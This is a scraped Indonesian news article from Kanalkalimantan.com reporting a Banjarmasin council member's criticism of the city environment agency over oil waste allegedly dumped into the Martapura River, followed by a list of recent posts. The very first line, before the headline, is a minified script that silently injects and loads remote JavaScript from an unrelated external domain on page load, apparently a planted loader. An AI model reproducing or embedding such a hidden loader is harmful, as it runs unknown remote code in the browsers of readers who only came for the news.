(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sungai Martapura Tercemar Oli, Dewan Pertanyakan Pengawasan DLH Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – DPRD Kota Banjarmasin menyayangkan adanya temuan pencemaran oli di Sungai Martapura yang keberadaannya baru terdeketsi pada pekan ini.

Dihubungi melalui sambungan telepon pada Jumat (10/01/2020) malam, Ketua Komisi III DPRD Kota Banjarmasin Muhammad Isnaini mempertanyakan Dinas Lingkungan Hidup (DLH) Kota Banjarmasin yang dirasa masih kurang maksimal dalam melakukan pengawasan tempat penampungan oli milik PT Gaya Bakti, yang diduga melakukan pembuangan limbah B3 ke Sungai Martapura.

“Intinya dewan sangat menyayangkan mengapa hal ini (pembuangan limbah) tidak ada tindak lanjut yang kuat dalam rangka menyelesaikannya. Apakah hal ini karena ketidaktahuan (DLH) atau mungkin belum berani melaksanakan kontrol terhadap hal ini,” kata Isnaini.

Ia menegaskan, DLH harus mendistribusikan perangkat-perangkatnya baik di tingkat kelurahan maupun kecamatan. Sehingga, pengawasan bisa berjalan secara baik.

“Artinya, kalau dinas sendiri punya keterbatasan. Ini sebuah awal bagaimana dinas ini bisa mensinergikan dengan kelurahan dan kecamatan dalam konteks pengawasan itu sendiri,” jelas Isnaini.

Politisi dari Fraksi Gerindra ini mengklaim, pihaknya di Komisi III selalu mendukung anggaran agar DLH dapat melaksanakan tupoksinya dalam pengawasan, salah satunya dalam hal pembuangan limbah B3.

“Sehingga itu bisa berjalan baik. (Kalau seperti ini) lagi-lagi ujung-ujungnya masyarakat yang dirugikan. Padahal esensi dari pelayanan menjadi hal yang teratas untuk dilaksanakan,” tegasnya.

Selain itu, lagi-lagi Isnaini menyayangkan DLH Kota Banjarmasin yang “kalah sigap” dengan aparat kepolisian yang mengungkap adanya dugaan pencemaran lingkungan ini.
Saat ini kasus dugaan pencemaran lingkungan ini telah naik ke tahap penyidikan oleh Subit IV Tipiter Dit Reskrimsus Polda Kalsel.

“Dalam konteks ini mengapa aparat (kepolisian) yang tahu lebih cepat dan bertindak. Ini sebuah pertanyaan juga. (Sehingga) keberadaan DLH kita pertanyakan sebetulnya, sampai aparat kepolisian sudah bertindak,” tandasnya. (Kanalkalimantan.com/fikri)

Reporter : Kanalkalimantan.com/Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

52 menit ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

60 menit ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

3 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

3 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

16 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

19 jam ago

This website uses cookies.